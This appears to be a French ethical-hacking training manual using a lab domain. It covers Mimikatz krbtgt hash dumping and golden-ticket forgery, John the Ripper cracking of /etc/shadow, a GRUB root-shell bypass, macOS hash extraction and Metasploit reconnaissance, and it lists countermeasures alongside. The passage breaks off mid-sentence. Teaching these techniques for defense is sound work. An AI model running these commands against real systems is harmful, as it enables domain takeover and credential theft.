Mimikatz peut être utilisé pour obtenir le condensat NTLM du compte krbtgt en utilisant lsadump :
mimikatz # privilege::debug
Privilege '20' OK

Restrict
ed
mimikatz #lsadump::lsa /inject /name:krbtgt
ERROR kuhl_m_lsadump_lsa_getHandle ; OpenProcess (0x00000005)
Domain : FORMATION / S-1-5-21-1646212111-3364853876-4038436236
RID : 000001f6 (502)
User : krbtgt
ERROR kuhl_m_lsadump_lsa_user ; SamQueryInformationUser c0000003
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : FORMATION / S-1-5-21-1646212111-3364853876-4038436236
RID : 000001f6 (502)
User : krbtgt
* Primary
LM :
NTLM : 2fde3fbaa126de706b19d521e6212450
...

Pour montrer le fonctionnement de l’attaque, il faut retourner sur une machine Windows du
domaine avec un utilisateur n’ayant pas les droits d’administration.

Les quatre informations nécessaires pour générer un golden ticket sont :

 un nom d’utilisateur ;

 le FQDN (Fully Qualified Domain Name) du domaine ;

 le SID du domaine (whoami /user) ;

 le hash NTLM du compte krbtgt.

Le FQDN peut être retrouvé avec la commande suivante :


C:\Users\laurent>ipconfig /all
Configuration IP de Windows
Nom de l'hôte . . . . . . . . . . . : PC-01
Suffixe DNS principal . . . . . . :formation.local

Le SID du domaine peut être retrouvé avec la commande suivante :


C:\Users\laurent> whoami /all
Informations sur l'utilisateur
------------------------
Nom d'utilisateur SID
================= ==============================================
formation\laurent S-1-5-21-1646212111-3364853876-4038436236-1109

Les SID (Security Identifier) sont des identifiants uniques alphanumériques représentés sous la
forme :

SID = S1-N1-N2-N3-ID

 S1 : groupe auquel appartient l’objet.

 N1-N2-N3 : identifiant du domaine.

 ID : identifiant unique de l’objet.

Restrict
ed
Il est possible avec ces quatre données de générer des autorisations d’accès même depuis une
machine qui n’est pas membre du domaine !

La commande klist permet de connaître la liste des tickets Kerberos utilisés par un utilisateur :
C:\Mimikatz>klist
LogonId est 0:0x296640
Tickets mis en cache : (2)
#0> Client : laurent @ FORMATION.LOCAL
Serveur : krbtgt/FORMATION.LOCAL @ FORMATION.LOCAL
Type de chiffrement KerbTicket : AES-256-CTS-HMAC-SHA1-96
Indicateurs de tickets 0x40e10000 -> forwardable renewable
initial pre_authent name_canonicalize
Heure de démarrage : 5/7/2017 20:55:55 (Local)
Heure de fin : 5/8/2017 6:55:55 (Local)
Heure de renouvellement : 5/14/2017 20:55:55 (Local)
Type de clé de session : AES-256-CTS-HMAC-SHA1-96
Indicateurs de cache : 0x1 -> PRIMARY
KDC appelé : DC-01.formation.local
...

C:\Mimikatz> net use y: \\DC-01\c$


Entrez le nom de l'utilisateur pour "DC-01" :

L’utilisateur connecté est "laurent" du domaine "formation.local", et il ne dispose visiblement pas


des accès nécessaires pour joindre le partage administratif C$ du contrôleur de domaine.

Utilisez la commande suivante pour créer le "golden ticket".


mimikatz # privilege::debug
Privilege '20' OK
mimikatz #kerberos::golden /user:administrator /domain:formation.local
/sid:S-1-5-21-1646212111-3364853876-4038436236 /krbtgt:
2fde3fbaa126de706b19d521e6212450 /ticket:administrator.tck
User : administrator
Domain : formation.local (FORMATION)
SID : S-1-5-21-1646212111-3364853876-4038436236
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey : 2fde3fbaa126de706b19d521e6212450 - rc4_hmac_nt
Lifetime : 07-05-17 20:44:07 ; 05-05-27 20:44:07 ; 05-05-27 20:44:07
-> Ticket : administrator.tck

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Final Ticket Saved to file !

Pour utiliser ce "golden ticket", exécutez Mimikatz à partir d’une invite de commandes ayant les
droits d’administration et entrez la commande kerberos::ptt (Pass-The-Ticket) :
mimikatz #kerberos::ptt administrator.tck

Restrict
ed
* File: 'administrator.tck': OK

mimikatz # exit
Bye!

C:\Mimikatz>klist
LogonId est 0:0x29661a
Tickets mis en cache : (2)
#0> Client : administrator @ formation.local
Serveur : krbtgt/formation.local @ formation.local
Type de chiffrement KerbTicket : RSADSI RC4-HMAC(NT)
Indicateurs de tickets 0x40e00000 -> forwardable renewable
initial pre_authent
Heure de démarrage : 5/7/2017 21:16:34 (Local)
Heure de fin : 5/5/2027 21:16:34 (Local)
Heure de renouvellement : 5/5/2027 21:16:34 (Local)
Type de clé de session : RSADSI RC4-HMAC(NT)
Indicateurs de cache : 0x1 -> PRIMARY
KDC appelé :
...

C:\Mimikatz>net use y: \\DC-01\c$


La commande s'est terminée correctement.

Ceci montre que le golden ticket permet effectivement l’accès au partage administratif.

Le ticket est valide dix ans et peut être utilisé avec la version 6 du noyau NT.

Les contre-mesures :

 Utiliser toujours les droits minimums : restreignant l’accès uniquement au groupe


administrateurs, au groupe administrateurs du domaine, à celui des administrateurs de
l’entreprise (si domaine il y a) et à un utilisateur qui n’est pas utilisé pour le travail quotidien.

 Supprimer le privilège "debug programs" aux administrateurs locaux via l’éditeur de politique
de stratégie de groupe (GPO) (Configuration de l’ordinateur - Paramètres Windows -
Paramètres de sécurité - Stratégies locales - Attributions des droits utilisateur - Déboguer
les programmes).

 Éviter d’associer des comptes locaux à des services ou applications. Opter pour des comptes
MSA (Managed Service Account) ou gMSA (Group Managed Service Account).

 Activer l’UAC (User Account Control) sur l’ensemble des postes de travail et des serveurs.

 Désapprouver l’utilisation de comptes des groupes administrateurs du domaine et


administrateurs de l’entreprise sur les postes de travail et les machines à risque.

 Pour les versions de Windows supérieures à 8 dans un domaine Windows 2012 R2 minimum,
utiliser la fonctionnalité "Protected Users group" pour protéger les comptes sensibles
(chiffrement fort et ticket Kerbéros d’une durée de vie de 4 heures uniquement sans mise en
cache).

 Utiliser des comptes distincts pour le travail au quotidien, l’administration des postes de
travail et des serveurs.

Restrict
ed
 Utiliser des stations de relais (jump station) pour gérer les serveurs à distance.

 Réduire le nombre d’identifiants en cache (cached logons) à 0 dans un groupe de travail et à


2 via les GPO (Configuration de l’ordinateur - Paramètres Windows - Paramètres de
sécurité - Stratégies locales - Options de sécurité).

 Activer le pare-feu.

 Désactiver le partage de fichier (port 445) sur les postes non serveur.

 Pour les versions de Windows inférieures à 8.1, désactiver le stockage des mots de passe en
clair en mémoire en initialisant la clé de registre suivante (DWORD) à 0 (KB2871997) :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ SecurityProviders\WDigest\
UseLogonCredential.

 Pour les versions de Windows inférieures à 8 :

 Changer temporairement les mots de passe des utilisateurs existants par un non utilisé, car le
dernier condensat LM restera dans la SAM.

 Désactiver l’utilisation des condensats LM et NTLMv1 en initialisant la clé de registre suivante


(DWORD) à 5 : HKEY_LOCAL_MACHINE\SYSTEM\Current ControlSet\Control\lsa\
LmCompatibilityLevel.

 Définir les mots de passe des utilisateurs existants par un non utilisé.

 S’il existe un risque que le compte krbtgt soit corrompu, changer son mot de passe.

 Pour les versions de Windows 8.1 et 2012 R2, activer le mode protégé pour le service LSASS
en initialisant la clé de registre suivante (DWORD) à 1 : HKEY_LOCAL_ MACHINE\SYSTEM\
CurrentControlSet\Control\lsa\RunAsPPL.

 Protéger le processus LSASS contre toute tentative d’accès par un processus non signé en
activant le mode "LSA protection" si la machine dispose d’un BIOS UEFI.

 Monitorer les événements liés au chargement de SSP non signés en initialisant la clé de
registre suivante (DWORD) à 8 : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\ CurrentVersion\Image\File Execution Options\LSASS.exe\AuditLevel

Il faut bien évidemment contrôler régulièrement que personne ne modifie ces informations.
L’application systématique d’une stratégie de groupe (GPO) peut être une solution. Pour plus
d’informations, n’hésitez pas à lire les articles suivants :

 Utilisation avancée de Mimikatz : connect.ed-diamond.com/MISC/MISC-066/Utilisation-


avancee-de-Mimikatz.

 Golden Ticket : http://blog.gentilkiwi.com/securite/mimikatz/golden-ticket-kerberos

 Présentation de Mimikatz : https://www.scribd.com/document/235639383/Mimikatz-1-4-


presentation-fonctionnement-et-contre-mesures-tuto-de-A-a-Z

 Aperçu de Mimikatz : https://www.sans.org/reading-room/whitepapers/detection/mimikatz-


overview-defenses-detection-36780

 Hackndo : https://beta.hackndo.com/

Restrict
ed
Restrict
ed
Linux
1. Gestion des utilisateurs

Les utilisateurs sont enregistrés dans le fichier /etc/passwd et leur mot de passe dans le
fichier /etc/shadow. Historiquement, il n’y avait que le fichier passwd qui contenait les mots de
passe. Mais étant un simple fichier texte, les empreintes (hashs) étaient donc lisibles par tous, le
déchiffrage des mots de passe était trivial. Le fichier shadow a donc été créé. Il s’agit d’une copie de
passwd, incluant les mots de passe.

Seul root possède les droits de modification et de lecture sur ce fichier. De plus, il est le seul compte
qui peut agir sur les autres comptes du système.

Les utilisateurs sous Linux

Ces fichiers peuvent directement être modifiés avec un éditeur de texte. Cependant, des outils
simplifient la tâche.

 Ajout de l’utilisateur "Laurent" au groupe "recherche" :

adduser Laurent recherche

 Ajout de l’utilisateur "Laurent" au groupe "marketing" sans le retirer du groupe originel


("recherche") :

usermod -aG marketing toto

 Suppression de l’utilisateur "Laurent" ainsi que des fichiers contenus dans son répertoire
personnel :

userdel -r Laurent

Pour la syntaxe, se reporter au manuel des outils : man useradd, man usermod, man userdel depuis
un terminal.

2. Gestion des groupes

Les groupes sont gérés dans le fichier texte /etc/group et là aussi des outils de gestion sont
disponibles :

 groupadd : ajout d’un groupe.

 groupmod : modification d’un groupe.

 groupdel : suppression d’un groupe.

 gpasswd : gestion des utilisateurs d’un groupe.

3. Affectation des permissions

Restrict
ed
Sous GNU/Linux, tout est fichier. Un périphérique et un dossier se manipulent alors comme tels. Un
fichier possède un propriétaire et un groupe d’appartenance. Le propriétaire est affecté par la
commande chown (change owner), le groupe d’appartenance par chgrp (change group).

 Pour changer le propriétaire :

chown pierre fichier.txt

 Pour changer le groupe :

chgrp developpeurs fichier.txt

Pour faire les deux en une seule fois :

chown pierre:developpeurs fichier.txt

Les autres permissions se règlent ensuite avec la commande chmod. Il faut définir les permissions de
trois entités : le propriétaire u, le groupe g et les autres o. "Les autres" correspond à tout utilisateur
n’étant ni le propriétaire ni membre du groupe. Chaque entité peut avoir le droit de lecturer,
d’écriture w et d’exécution/parcours x. Un droit s’ajoute avec + et se retire avec -.

Par exemple, pour donner le droit d’écriture au propriétaire :

chmod u+w fichier.txt

Autre exemple, pour retirer le droit d’exécution aux autres :

chmod o-x fichier.txt

Les modifications sont visibles dans les colonnes 1 (droits), 3 (utilisateur) et 4 (groupe) de la sortie
d’un ls -l.

Les permissions des fichiers sous Linux

Restrict
ed
4. Les mots de passe

Sous GNU/Linux aussi, la gestion des mots de passe a évolué avec le temps.

Au départ, les mots de passe, d’une longueur maximum de 8 caractères, étaient chiffrés 25 fois avec
DES, les 25 passages permettant de ralentir les attaques éventuelles. Un sel (variable aléatoire) de 12
bits était ajouté afin de rendre unique l’information chiffrée dans le fichier /etc/passwd. DES est un
algorithme de chiffrement symétrique. Il est donc possible de retrouver le mot de passe à partir de
l’information chiffrée et du sel… Ce n’est donc pas l’idéal. De plus, une loi américaine limitait la taille
des clés pour des produits destinés à l’exportation, donc la robustesse du chiffrement. Il a donc été
décidé de changer de mécanisme.

Les mots de passe, d’une longueur maximum de 22 caractères, ont ensuite été hachés 5000 fois avec
MD5 (fonction de hachage) avec un sel de 48 bits. Une fonction de hachage étant irréversible, il est
impossible de retrouver le mot de passe à partir de l’information stockée.

Actuellement, les distributions Linux proposent SHA-512 comme fonction de hachage par défaut. La
configuration du système est définie dans /etc/pam.d/common-password.

De plus, les mots de passe ne sont plus stockés dans /etc/paswd étant donné que ce dernier est
accessible en lecture par tous les utilisateurs :
#ls -al /etc/passwd
-rw-r--r-- 1 root root 1367 Mar 27 11:00 /etc/passwd

L’implémentation de shadow-utils permet maintenant de stocker les mots de passe dans


/etc/shadow accessible en lecture et écriture uniquement avec des droits spéciaux :
#ls -al /etc/shadow
-rw-r----- 1 root shadow 715 Mar 27 11:00 /etc/shadow

L’exemple ci-dessous montre le contenu du fichier shadow avec les caractéristiques suivantes :

 ":" est utilisé comme délimiteur de champs.

 La ligne concerne l’utilisateur root.

 "$" est utilisé comme délimiteur dans le champ du mot de passe :

 Le type de hachage utilisé est SHA-512 (1 = MD5, 2 = Blowfish, 5 = SHA-256 et 6 = SHA-512).

 Le sel utilisé avec le mot de passe de l’utilisateur root est : Db.jGNb0.

 L’empreinte (hash) stockée est :


ftAcfd/xtOEwYkl0cGuL0pE2jxFI9O44tuthLdBap/Zwuggbktu/5Z7ZgpMyaGnHwtsr/
Txn3iJxSncYufyNW.

 La date de la dernière modification du mot de passe (nombre de jours depuis le 1er janvier
1970).

 Le nombre de jours de rétention du mot de passe.

 Le nombre de jours de validité du mot de passe.

 Le nombre de jours durant lesquels l’utilisateur sera informé de l’expiration prochaine de son
mot de passe s’il se connecte au système.

Restrict
ed
 Le nombre de jours avant la désactivation d’un compte avec mot de passe expiré.

 La date de la désactivation d’un compte (nombre de jours depuis le 1 er janvier 1970).

 Un champ réservé pour une utilisation future.

# cat /etc/shadow
root@kali-1:/# cat /etc/shadow
root : $6$Db.jGNb0$ftAcfd/xtOEwYkl0cGuL0pE2jxFI9O44tuthLdBap/
Zwuggbktu/5Z7ZgpMyaGnHwtsr/Txn3iJxSncYufyNW.:17433:0:99999:7:::

L’utilisation du salage impose un calcul différent de l’empreinte par mot de passe. L’utilisation de
rainbow tables n’est pas possible sous Linux. Dans une attaque par la force brute ou en brute force, il
faut calculer et tester toutes les combinaisons du dictionnaire utilisé. Il en existe de nombreux sur
Internet et certains sont déjà installés, comme le dictionnaire de la langue française contenu dans le
fichier /usr/share/dict/french.

Changer son mot de passe en ligne de commande

Pour changer le mot de passe de l’utilisateur Laurent, ouvrez une ligne de commandes et tapez :

passwd Laurent

Il faut alors saisir deux fois le mot de passe.

Si vous avez un certain nombre de mots de passe à générer, il existe des générateurs respectant les
règles énoncées plus haut comme APG sous GNU/Linux. Pour générer très simplement vingt mots de
passe en ligne de commande :

apg -n 20.

5. Élévation des privilèges

Pour changer d’identité, il faut utiliser la commande su (switch user), suivie de l’identifiant de
l’identité à prendre. Si c’est le compte root, il n’est pas nécessaire de le mentionner. Le mot de passe
est alors demandé.

Pour exécuter une commande, il est possible d’ajouter l’option -c suivie de la commande.

Le mot de passe administrateur ne peut forcément pas être donné à tous, mais ses permissions
restent nécessaires. L’exemple le plus courant est pour le fichier shadow. Ce fichier n’est en effet
lisible et modifiable que par l’administrateur du système. Pourtant, vous pouvez très bien changer
vous-même votre mot de passe, avec la commande passwd sans vous identifier en tant
qu’administrateur. En fait, pendant un très court laps de temps (l’écriture du nouveau mot de passe
dans le fichier shadow), vous êtes administrateur dans ce contexte très restreint : vous ne pouvez
rien faire d’autre en théorie.

Le programme shadow possède en effet une permission spéciale : suid, visible avec la commande ls -l
/usr/bin/passwd. Le x du propriétaire pour l’exécution a été remplacé par un s, pour "suid". Cela
signifie que le programme s’exécute sous l’identité du propriétaire du fichier, ici en l’occurrence root,
sans nécessité d’authentification.

Restrict
ed
Élévation de privilèges sous Linux

On comprend alors pourquoi seul root peut changer le propriétaire d’un fichier. Il serait facile de
créer des scripts personnels s’exécutant avec les droits administrateurs.

Par analogie, il existe le sgid pour les groupes.

a. Activation du suid et du sgid

Le suid s’active sur un fichier fichier.txt via la commande :

chmod u+s fichier.txt

Et le sgid par :

chmod g+s fichier.txt

Les programmes suid sont donc très surveillés, tant du côté des développeurs que de celui des
attaquants. En effet, une vulnérabilité compromet directement la sécurité du système.

b. Comment trouver les scripts suid root d’un système GNU/Linux

Dans une console, saisir la commande suivante :

find / -user root -perm -4000 -print

Les scripts suid root d’un système GNU/Linux

Il suffit alors d’auditer les programmes trouvés, à la recherche d’une faille. Il est judicieux de
désinstaller les programmes inutiles fournissant des programmes suid. En effet, le système court un
danger supplémentaire inutile.

Restrict
ed
6. Le changement de racine ou chrooting

Le but est de substituer la racine du système par un autre chemin pour un processus donné. Dès que
l’exécution aura débuté, le processus pensera que la racine est ce chemin et ne pourra
théoriquement pas remonter dans l’arborescence. Ceci est très pratique pour sécuriser un service.

Exemple avec le serveur FTP, ftpd :

chroot /prison /usr/bin/ftpd

Même si le service est vulnérable et a été exploité par un attaquant, ce dernier se retrouve coincé
dans /prison. Il ne peut donc pas accéder aux données de /etc, par exemple.

Malheureusement, dans certains cas, il est possible de sortir du chroot. Par exemple, si le
programme "chrooté" a les privilèges pour monter des disques, la vraie racine peut être remontée
dans l’environnement protégé. La protection ne tient donc plus.

Pour des services vraiment critiques, il peut alors être plus judicieux de se tourner vers une
virtualisation plus complète.

7. Les logs

Sous Unix, ils sont classés par services, dans des fichiers textes, dans /var/log. Les messages du
système sont aussi consultables en console via la commande dmesg.

8. Les mises à jour

Il n’y a pas de méthodologie, cela dépend de votre système, mais la plupart des distributions
intègrent des logiciels qui se chargent de cette tâche. Reportez-vous à sa documentation.

9. Cas pratiques

a. Utilisation de John the Ripper

John the Ripper permet de casser les mots de passe. Pour des raisons de facilité, dans l’exemple ci-
dessous le compte administrateur (root) a été utilisé.

Une attaque en pure "brute force" s’effectue par la commande john /etc/shadow.

Une attaque hybride (combinaison de dictionnaire et de "brute force") s’effectue par :

john --wordlist=/usr/share/dict/french /etc/shadow

Essayez ces deux méthodes et vous verrez la différence, significative en termes de temps, pour
trouver le mot de passe !

Utilisation de John The Ripper

Restrict
ed
b. GRUB

Cela dit, Linux n’est pas sans failles, il suffit de citer pour s’en convaincre la fameuse faille du GRUB
(https://www.dedoimedo.com/computers/grub-2.html). Le GRUB2 sous Linux est ce que l’on appelle
un bootloader, c’est-à-dire qu’il permet de choisir entre le démarrage de plusieurs systèmes installés
sur la machine. Il permettra par exemple de choisir entre le démarrage de Linux ou de Windows.

Le bootloader GRUB

En fait, il est facile d’éditer le GRUB en tapant tout simplement la lettre e (éditer) au démarrage de
celui-ci. Éditez la deuxième ligne et changez ro (read only) en rw (read-write) et
ajoutez init=/bin/bash. Appuyez sur la touche [F10] pour continuer le démarrage de l’ordinateur. Une
console en invite root (super-utilisateur) apparaît ensuite.

Édition du GRUB

Restrict
ed
Modification du GRUB

La contre-mesure est facile à mettre en œuvre, il suffit en fait de mettre un mot de passe sur le
GRUB2 pour empêcher son édition.

Dans /boot/grub/grub.cfg, juste avant ### BEGIN /etc/grub.d/10_linux ###, il faut ajouter les lignes
suivantes :

set superusers="acissi"

password superadmin « password »

Cela suffit déjà à empêcher l’édition du menu de boot. Ensuite, il faut faire la même chose pour le
mode rescue à la ligne :
menuentry 'Ubuntu, avec Linux 2.6.32-25-generic (mode de récupération)'
--class ubuntu --class gnu-linux --class gnu --class os --users acissi {

À l’édition du menu, un mot de passe est maintenant demandé.

macOS X
1. Gestion des utilisateurs

Rendez-vous dans le menu Pomme - Préférences système, puis Utilisateurs et groupes. Il pourra
être nécessaire de déverrouiller le panneau en cliquant sur le cadenas situé en bas à gauche, puis en
saisissant un mot de passe administrateur.

L’ajout et la suppression d’un groupe ou d’un compte utilisateur se font respectivement avec les
boutons + et -. Dans le cas d’un ajout, il suffit de sélectionner dans la liste déroulante Nouveau le
type de compte : groupe, administrateur ou simple utilisateur. Notez qu’il est possible d’activer ici le
chiffrement du répertoire personnel, permettant d’éviter la lecture de vos fichiers à partir d’un autre
compte utilisateur ou d’un autre système d’exploitation.

Restrict
ed
Les utilisateurs sous OS X

Bien évidemment, vous pouvez effectuer toutes ces tâches en ligne de commande avec l’outil de
gestion d’annuaire DSL.

En tant que root :

Création d’une nouvelle entrée pour l’utilisateur "laurent" sous /Users :

dscl . create /Users/laurent

Définition de l’environnement utilisateur :

dscl . create /Users/laurent UserShell /bin/bash

Création et initialisation du nom complet de l’utilisateur :

dscl . create /Users/laurent RealName "Laurent"

Création et initialisation de l’identifiant unique de l’utilisateur :

dscl . create /Users/laurent UniqueID 505

Création et initialisation du groupe principal de l’utilisateur :

dscl . create /Users/laurent PrimaryGroupID 1000

Création et initialisation du répertoire personnel de l’utilisateur :

dscl . create /Users/laurent NFSHomeDirectory /Local/Users/laurent

Création du mot de passe de l’utilisateur :

dscl . passwd /Users/laurent PASSWORD

Ajout de l’utilisateur au groupe d’administration :

dscl . append /Groups/admin GroupMembership laurent

Restrict
ed
source : https://smallbusiness.chron.com/add-user-terminal-mac-os-x-screen-sharing-31846.html

Pour plus d’informations, consultez la page man de DSL.

Création d’un utilisateur sous OS X

2. Les mots de passe

macOS X est un système basé sur BSD, une variante d’Unix. Cependant, il ne stocke pas ses mots de
passe de la même façon : ce n’est pas dans un fichier /etc/shadow ou /etc/master.passwd. En effet,
macOS associe à chaque utilisateur un fichier shadow. L’ensemble des fichiers est situé dans le
répertoire /var/db/shadow. Les fichiers sont nommés avec l’identifiant unique global (GUID) attribué
à chacun des utilisateurs et seul un administrateur est en mesure de les lire.

Depuis la version 10.6, les empreintes ont été déplacées en tant qu’attribut de la base de données
principale des utilisateurs dans /var/db/dslocal/nodes/Default/users/<username>.plist. Il est possible
de les obtenir via la commande suivante :

dscl . -ls /Users

L’algorithme de hachage est passé de SHA1 à SHA512, couplé avec un salage sur 4 bits.

La première étape consiste à récupérer les utilisateurs et leur GUID. Pour interroger la base de
données des utilisateurs système, il est possible d’utiliser l’outil en ligne de commandes dsl :

sudo dscl localhost -read /Search/Users/<username>

L’empreinte avec le salage se trouve juste après dsAttrTypeNative:ShadowHash Data:.

Il faut ensuite séparer les deux éléments. Attention, la longueur de ceux-ci varie en fonction des
versions de l’OS. Il reste enfin à comparer l’empreinte à des dictionnaires SHA512 pour trouver le
mot de passe.

Changer son mot de passe en ligne de commande

Vous pouvez utiliser la commande passwd ou vous rendre dans le menu Pomme - Préférences
système, puis Utilisateurs et groupes. Sélectionnez votre compte dans la liste Mon compte et cliquez
sur Modifier le mot de passe.

Restrict
ed
Vous n’avez pas d’inspiration ? Cliquez sur le bouton avec la clé et une interface vous assiste dans le
choix d’un bon mot de passe.

dscl . -passwd /Users/ Laurent @R3S34u*

Définition du mot de passe en GUI sous OS X

3. Gestion des groupes

Si vous êtes sous macOS X, référez-vous à la section Gestion des utilisateurs.

4. Affectation des permissions

En raison de sa base Unix, il est possible de gérer les droits comme sous GNU/Linux sous macOS X.
Cependant, les ACL sont également disponibles. En ligne de commande, il suffit d’utiliser la
commande système chmod (se référer à sa page man pour plus d’informations).

En mode graphique, il faut utiliser le finder et l’option Lire les informations, accessible via le
raccourci [Pomme] + I. Il pourra être nécessaire de déverrouiller le panneau en cliquant sur le
cadenas situé en bas à droite, puis en saisissant un mot de passe administrateur.

L’ajout et la suppression des autorisations affectées à un utilisateur ou à un groupe s’effectuent


respectivement avec les boutons + et -.

Pour rendre un utilisateur propriétaire du dossier ou appliquer les changements de manière


récursive, il faut avec le raccourci-clavier ([Cmd] + i) ou avec un clic secondaire la souris et le sous-
menu Lire les informations afficher la partie Partage et permissions. Il faudra bien sûr déverrouiller
les options en cliquant sur le cadenas en bas à droite et en saisissant son mot de passe.

Permissions d’un fichier sous OS X

5. Les logs

Sous macOS X, vous pouvez consulter les journaux avec l’outil Console qui se trouve dans le
menu Outils des applications.

6. Les mises à jour

macOS X recherche par défaut les mises à jour, mais vous pouvez régler leur fréquence via le
panneau Mise à jour de logiciels dans les Préférences système.

Exploitation des vulnérabilités des systèmes d’exploitation


Il existe de nombreux outils permettant de tester et d’exploiter les vulnérabilités des différents OS et
plateformes. Parmi les plus connus, il y a le framework Metasploit (MSF).

Pour utiliser un outil comme MSF, il faut comprendre les notions suivantes :

Restrict
ed
 Vulnérabilité : c’est une faille dans un code informatique provenant d’une erreur de
conception ou d’implémentation fragilisant le système. Lorsque ces dernières sont
découvertes, elles sont identifiées, classées suivant leur sévérité et publiées sous forme
de CVE (Common Vulnerabilities and Exposures). Le lien suivant permet de visualiser les
dernières vulnérabilités concernant Windows 10 : https://www.cvedetails.com/vulnerability-
list/vendor_id-26/product_id-32238/Microsoft-Windows-10.html

 Exploit : c’est un programme conçu pour exploiter une vulnérabilité.

 Payload : c’est un programme permettant d’interagir sur le système cible afin d’en prendre le
contrôle ou de le déstabiliser. Meterpreter est un des plus populaires, il permet entre autres
de créer, de modifier, de supprimer, de télécharger des fichiers vers ou depuis la machine
cible. Il permet de capturer les frappes-clavier, de figer le fond d’écran, et de supprimer ou
créer des processus.

 Post : c’est un module complémentaire utilisé après l’exploitation pour récupérer des
preuves ou basculer vers d’autres machines du réseau (pivoting).

Metasploit est déjà installé sous Kali, mais voici comment installer Metasploit sous Debian :

# cd /opt
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/
master/config/templates/metasploit-
framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
# msfupdate
MSF utilise une base de données pour stocker les résultats des reconnaissances. Il faut donc
l’initialiser :

#service postgresql start


#msfdb init
msfdb init
[+] Starting database
[+] Creating database user 'msf'
Saisir le mot de passe pour le nouveau rôle :
Le saisir de nouveau :
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/
config/database.yml'
[+] Creating initial database schema

D’autres options sont disponibles :

# msfdb
Manage the metasploit framework database
msfdb init # start and initialize the database
msfdb reinit # delete and reinitialize the database
msfdb delete # delete database and stop using it

Restrict
ed
msfdb start # start the database
msfdb stop # stop the database
msfdb status # check service status
msfdb run # start the database and run msfconsole
Il faut maintenant démarrer l’outil Metasploit :

# msfconsole
...
=[ metasploit v5.0.26-dev ]
+ -- --=[ 1894 exploits - 1068 auxiliary - 329 post ]
+ -- --=[ 547 payloads - 44 encoders - 10 nops ]
+ -- --=[ 2 evasion
Une fois dans le programme, il est possible de vérifier si la liaison avec la DB est fonctionnelle :

msf5 > db_status


[*] Connected to msf. Connection type: postgresql.
Il est possible d’organiser ses données par projet avec les espaces de travail, l’espace par défaut
étant "default" et l’espace en cours d’utilisation étant indiqué par un astérisque. Voici comment
créer un nouvel espace nommé "labo" :

msf5 >workspace
* default
msf5 > workspace -h
Usage:
workspace List workspaces
workspace -v List workspaces verbosely
workspace [name] Switch workspace
workspace -a [name] ... Add workspace(s)
workspace -d [name] ... Delete workspace(s)
workspace -D Delete all workspaces
workspace -r <old> <new> Rename workspace
workspace -h Show this help information

msf5 >workspace -a labo


[*] Added workspace: labo
[*] Workspace: labo

msf5 >workspace
default
* labo
La première étape est la reconnaissance, c’est-à-dire la phase où le Hacker essaie de collecter autant
d’informations que possible sur la cible. Cela comprend entre autres l’identification, la recherche
d’adresses IP et d’enregistrements DNS de la cible.

Nmap, comme vu précédemment, est un outil de reconnaissance. Il est possible d’importer le


résultat de scan Nmap au format XML ou d’utiliser la commande intégrée à MSF : db_nmap.

Restrict
ed
msf5 > nmap -Pn -A -oX rapport.xml 10.0.0.51-59
...
msf5 > db_import /root/rapport.xml
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.10.3'
[*] Importing host 10.0.0.51
[*] Importing host 10.0.0.52
[*] Importing host 10.0.0.53
[*] Successfully imported /root/rapport.xml

msf5 > db_nmap -Pn -A 10.0.0.11

Les machines découvertes sont :


msf5 > hosts
Hosts
=====
address mac name os_name os_fla
vor
os_sp purpose info comments
------- --- ----
------- ---------
----- ------- ---- --------
10.0.0.11 00:0c:29:e3:6c:e1 AD-01.formation.local Windows 2016
3 server
10.0.0.51 Unknown
device
10.0.0.52 00:0c:29:da:7a:21 pc-01.formation.local Windows 2008
server
10.0.0.53 00:0c:29:7f:7f:72 PC-02.formation.local embedded
device
Les services utilisés sont :

msf5 > services


Services
========

host port proto name state info


---- ---- ----- ---- ----- ----
10.0.0.11 53 tcp domain open
10.0.0.11 88 tcp kerberos-sec open Microsoft Windows Kerberos
server time: 2019-06-03 11:17:19Z
10.0.0.11 135 tcp msrp open Microsoft Windows RPC
10.0.0.11 139 tcp netbios-ssn open Microsoft Windows netbios-ssn
10.0.0.11 389 tcp ldap open Microsoft Windows Active
Directory LDAP Domain: formation.
local, Site: Default-First-Site-
Name
10.0.0.11 445 tcp microsoft-ds open Windows Server 2016 Standard 14393
microsoft-ds workgroup: FORMATION
10.0.0.11 464 tcp kpasswd5 open
10.0.0.11 593 tcp ncacn_http open Microsoft Windows RPC over HTTP 1.0
10.0.0.11 636 tcp tcpwrapped open

Restrict
ed
10.0.0.11 3268 tcp ldap open Microsoft Windows Active Directory
LDAP Domain: formation.local,
Site: Default-First-Site-Name
10.0.0.11 3269 tcp tcpwrapped open
10.0.0.11 3389 tcp ms-wbt-server open Microsoft Terminal Services
10.0.0.52 135 tcp msrpc open Microsoft Windows RPC
10.0.0.52 139 tcp netbios-ssn open Microsoft Windows netbios-ssn
10.0.0.52 445 tcp microsoft-ds open Windows 7 Professional 7601 Service
Pack 1 microsoft-ds workgroup:
FORMATION
10.0.0.53 135 tcp msrpc open Microsoft Windows RPC

Grâce aux informations fournies par les services en cours de fonctionnement, il est possible de
déduire que :

 la machine 10.0.0.11 est un Windows Server 2016 avec :

 le service Active Directory (port 88) dans le domaine formation.local ;

 le service DNS (port 53) ;

 un partage minimum (port 445 ouvert et non filtré) ;

 le service Terminal activé (port 3389).

 la machine 10.0.0.52 est un Windows 7 SP1 :

 faisant partie du domaine formation.local ;

 ayant un partage minimum (port 445 ouvert et non filtré).

 la machine 10.0.0.53 est un Windows :

 le port 445 de cette machine est certainement filtré. La commande suivante permet de le
vérifier :

msf5 > db_nmap -p 445 10.10.10.78

Généralement, une machine Windows Active Directory qui a le service DNS activé a également le
service DHCP. Pour le vérifier :
msf5 > db_nmap -sU -p 67 --script=dhcp-discover 10.0.0.11
msf5 > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
10.0.0.11 67 udp dhcps open

La commande suivante permet de vérifier s’il existe des vulnérabilités connues en SMB pour les trois
machines Windows du réseau :

